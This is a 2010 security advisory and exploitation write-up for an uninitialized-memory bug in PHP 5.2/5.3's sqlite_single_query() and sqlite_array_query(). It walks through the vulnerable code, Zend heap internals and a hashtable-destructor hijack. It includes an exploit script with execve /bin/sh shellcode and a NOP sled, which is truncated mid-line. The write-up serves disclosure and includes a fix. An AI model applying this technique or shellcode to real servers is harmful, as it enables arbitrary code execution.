MOPS-2010-013: PHP sqlite_array_query() Uninitialized Memory Usage Vulnerability

May 7th, 2010

PHP's sqlite_array_query() function will use uninitialized memory if it is used with an empty SQL query. This can lead to arbitrary code execution.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Mateusz Kocielski with his Minerva PHP Fuzzer.

Detailed information

For more information see the Vulnerability chapter of the submitted article.

Proof of concept, exploit or instructions to reproduce

For more information see the Exploitation chapter of the submitted article.

Notes

It is recommended to fix this vulnerability by using ecalloc() instead of emalloc() to allocate clean memory.

MOPS Submission 03 – sqlite_single_query(), sqlite_array_query() Uninitialized Memory Usage

May 7th, 2010

Today we want to present you the third external MOPS submission. It is the first of two submissions sent in by Mateusz Kocielski. This one is a detailed explanation about how to exploit the sqlite_single_query() and sqlite_array_query() uninitialized memory usage.

-[sqlite_single_query, sqlite_array_query uninitialized memory usage
-[Mateusz Kocielski, shm+minerva@digitalsun.pl

-[version: 1.0

Table of contents:

-[1. Introduction

PHP [php] is a very popular, object-oriented scripting language, mostly used for web development to produce dynamic pages, its processor is supported by most of the modern web platforms.

This article describes uninitialized memory usage bug in one of the standard modules. This bug was uncovered by Minerva fuzzer [minerva]. Document covers detailed description of the bug and a brief journey through PHP internals in order to exploit this vulnerability.

-[2. Vulnerability

Bug appears in sqlite_single_query() [sq_sq] and sqlite_array_query() [sq_aq] functions of the sqlite module [sqlite]. Functions are defined in ext/sqlite/sqlite.c file [sqlite.c]. We'll consider only sqlite_single_query() function, because the bug in the second case is similar.

-[2.1 Vulnerable code

Vulnerable code looks as follows:

source: ext/sqlite/sqlite.c

```
/* {{{ proto array sqlite_single_query(resource db, string query [, bool
first_row_only [, bool decode_binary]])
Executes a query and returns either an array for one single column or the
value of the first row. */

PHP_FUNCTION(sqlite_single_query)
{
      ...
  struct php_sqlite_result *rres;
  ...
      rres = (struct php_sqlite_result *)emalloc(sizeof(*rres)); [1]
      sqlite_query(NULL, db, sql, sql_len, PHPSQLITE_NUM, 0, NULL, &rres, NULL
      TSRMLS_CC); [2]
  ...
      real_result_dtor(rres TSRMLS_CC); [3]
}
```

The problem is that the allocated resource rres in [1] is not being initialized (i.e. zeroed) by [2]. If query is empty, it may lead to pass to real_result_dtor “dirty” memory [3].

source: ext/sqlite/sqlite.c

```
static void real_result_dtor(struct php_sqlite_result *res TSRMLS_DC)
{
	int i, j, base;

	if (res->vm) {
		sqlite_finalize(res->vm, NULL);
	}

	if (res->table) {
		if (!res->buffered && res->nrows) {
			res->nrows = 1; /* only one row is stored */
		}
		for (i = 0; i < res->nrows; i++) {
			base = i * res->ncolumns;
			for (j = 0; j < res->ncolumns; j++) {
				if (res->table[base + j] != NULL) {
					efree(res->table[base + j]);
				}
			}
		}
		efree(res->table); [1]
	}

	if (res->col_names) {
		for (j = 0; j < res->ncolumns; j++) {
			efree(res->col_names[j]);
		}
		efree(res->col_names); [2]
	}

  ...
```

If somehow res passed to real_result_dtor can be controlled, then it could lead to double free. Which in fact can be easily exploitable, for more details in that area look at exploit archive of the MOPB-2007 [mopb].

-[3. Exploitation

This paragraph discuss the material needed to understand how the exploit provided is working. Presented technique can be reused in all cases where attacker can control argument passed to efree() function.

The goal is to play out the following steps:

1. Control memory allocated as rres in sqlite_single_query.
2. Using real_result_dtor free memory in area which can be controlled by an attacker.

3. Allocate hashtable structure in the controlled area.
4. Replace hashtable destructor with pointer to the shellcode.
5. Trigger the destructor.

-[3.1. PHP memory management

PHP has got own memory management (mm) implementation, developers introduced mm functions in Zend/zend_alloc.c file.

source: zend_alloc.c

```
static void *_zend_mm_alloc_int(zend_mm_heap *heap, size_t size
  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC) /* {{{ */
{
	zend_mm_free_block *best_fit;
	size_t true_size = ZEND_MM_TRUE_SIZE(size);
	...

	if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		...
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
			...
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			...
			return ZEND_MM_DATA_OF(best_fit);
		}
...
static void _zend_mm_free_int(zend_mm_heap *heap, void *p
  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC) /* {{{ */
{
	zend_mm_block *mm_block;
	zend_mm_block *next_block;
	size_t size;

	if (!ZEND_MM_VALID_PTR(p)) {
		return;
	}
```

PHP mm implementation is caching small blocks in buckets identified by the block size. Cache buckets are organized as FIFO (First input, first output) queues. _zend_mm_free_int and _zend_mm_alloc_int are called directly by emalloc and efree function. We can try to inject block to

cache buckets which will be used in future. This can be done by passing a pointer to efree function, which points to area of memory which can be modified by an attacker. In order to do that, "fake" zend_mm_block should be stored and its address should be passed.

source: Zend/zend_alloc.c

```
typedef struct _zend_mm_block_info {
#if ZEND_MM_COOKIES
	size_t _cookie;
#endif
	size_t _size;
	size_t _prev;
} zend_mm_block_info;

typedef struct _zend_mm_block {
	zend_mm_block_info info;
#if ZEND_DEBUG
	unsigned int magic;
# ifdef ZTS
	THREAD_T thread_id;
# endif
	zend_mm_debug_info debug;
#elif ZEND_MM_HEAP_PROTECTION
	zend_mm_debug_info debug;
#endif
} zend_mm_block;
```

-[3.2. Controlling memory allocated as rres

Controlling rres could be used to do something nasty, but how it could be controlled in order to pass to efree crafted address? rres is php_sqlite_result type, which has got the following definition:

source: ext/sqlite/sqlite.c

```
struct php_sqlite_result {
	struct php_sqlite_db *db;
	sqlite_vm *vm;
	int buffered;
	int ncolumns;
	int nrows;
	int curr_row;
	char **col_names;
	int alloc_rows;
	int mode;
	char **table;
};
```

Its size is 40 bytes on 32-bit machine, according to previous sub-paragraph, emalloc will try to use a block from the buckets. Obvious way to control rres is to push own memory into bucket just before sqlite_single_query call. One way to do it is call str_repeat function:

```
$ cat test.php
<?php
$dh = sqlite_popen("/tmp/whatever");
str_repeat("A",39); // +1 byte for \x00
$dummy = sqlite_single_query($dh," "); // trigger the bug
?>
$ gdb ./php
...
(gdb) r test.php
...
Program received signal SIGSEGV, Segmentation fault.
sqliteVdbeFinalize (p=0x41414141, pzErrMsg=0x0)
  at /home/shm/projekty/security/src/php-5.3.2/ext/sqlite/libsqlite/src/vdbeaux.c:924
924       if( p->magic!=VDBE_MAGIC_RUN && p->magic!=VDBE_MAGIC_HALT ){
(gdb) bt
#0  sqliteVdbeFinalize (p=0x41414141, pzErrMsg=0x0)
  at /home/shm/projekty/security/src/php-5.3.2/ext/sqlite/libsqlite/src/vdbeaux.c:924
#1  0x081d2d52 in real_result_dtor (res=0x86f5fec)
  at /home/shm/projekty/security/src/php-5.3.2/ext/sqlite/sqlite.c:695
#2  0x081d3cb8 in zif_sqlite_single_query (ht=2, return_value=0x86f5fd0,
  return_value_ptr=0x0, this_ptr=0x0, return_value_used=1)
  at /home/shm/projekty/security/src/php-5.3.2/ext/sqlite/sqlite.c:2660
...
(gdb) x/10x 0x86f5fec
0x86f5fec:      0x00000000      0x41414141      0x41414141      0x41414141
0x86f5ffc:      0x41414141      0x41414141      0x41414141      0x41414141
0x86f600c:      0x41414141      0x00414141
(gdb)
```

As we can see, most of values in php_sqlite_result struct can be controlled.

-[3.3 Hashtables

Hash tables has got pointer to its destructor in PHP, this can be used to jump to shellcode. Hashtable struct looks as follows:

source: Zend/zend_hash.h

```
typedef struct _hashtable {
	uint nTableSize;
	uint nTableMask;
	uint nNumOfElements;
	ulong nNextFreeElement;
	Bucket *pInternalPointer;
	Bucket *pListHead;
	Bucket *pListTail;
	Bucket **arBuckets;
	dtor_func_t pDestructor;
	zend_bool persistent;
	zend_bool unicode;
	unsigned char nApplyCount;
	zend_bool bApplyProtection;
#if ZEND_DEBUG
	int inconsistent;
#endif
} HashTable;
```

Length of this structure is 41 bytes. Replacing value can be done by pushing 41 byte block into cache buckets and try to allocate this block for hashtable structure. pDestructor can be triggered by using unset() function.

-[3.4 Exploit

Previous paragraphs omit description of Linux security features i.e. ASLR, presented exploit is written to bypass those protections. For further information take a look at the comments. Exploit was successfully used against php-5.3.2 and php-5.2.13 on Linux 2.6.

source: exploit.php

```
<?php

/* sqlite_single_query exploit for php-5.3.2
 * discovered and exploited   by  digitalsun
 *
 * e-mail  : ds@digitalsun.pl
 * website : http://www.digitalsun.pl/
 */

/* DEFINE */

define('EVIL_SPACE_ADDR', 0xb6f00000);
define('EVIL_SPACE_SIZE', 1024*1024);

$SHELLCODE =
"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

/* Initialize */
$sqh = sqlite_popen("/tmp/whatever");

/* allocate memory for evil table */
$EVIL_TABLE = str_repeat("\x31\x00\x00\x00", EVIL_SPACE_SIZE);
/* allocate memory for shellcode  */
$CODE = str_repeat("\x90\x90\x90\x90", EVIL_SPACE_SIZE);

for ( $i = 0, $j = EVIL_SPACE_SIZE*4 - strlen($SHELLCODE) - 1 ;
      $i < strlen($SHELLCODE) ; $i++, $j++ ) {
   $CODE[$j] = $SHELLCODE[$i];
}

$rres =
```

```
$ ./php -v
PHP 5.3.2 (cli) (built: Mar 29 2010 13:35:08)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
$ ./php exploit.php
[+] hashtable found @ 0x00158fe8
[+] guessed shellcode address: 0xb69a7018
[+] jumping to the shellcode
Hello, World!
...
```

-[4. Resources

[minerva] Will be filled in next week — Minerva PHP Fuzzer

[mopb]	http://www.php-security.org/MOPB/	Month of PHP bugs, 2007
[php]	http://www.php.net/	PHP homepage
[sl_aq]	http://www.php.net/manual/en/function.sqlite-array-query.php	sqlite_array_query() documentation
[sl_sq]	http://www.php.net/manual/en/function.sqlite-single-query.php	sqlite_single_query() documentation
[suoshin]	http://www.hardened-php.net/suhosin/a_feature_list.html	Suhosin feature list
[sqlite]	http://www.php.net/manual/en/book.sqlite.php	sqlite module documentation
[sqlite.c]	http://lxr.php.net/source/php-src/ext/sqlite/sqlite.c	sqlite module sources

-[5. Code fix

One of possible fix is to use ecalloc instead of emalloc in vulnerable functions.

-[6. Greetings

I would like to thank the following people for their contribution into my work:

- Katabu for proof-reading and a big amount of patience
- Snooty for proof-reading and feedback
- dft-labs for providing me testing environment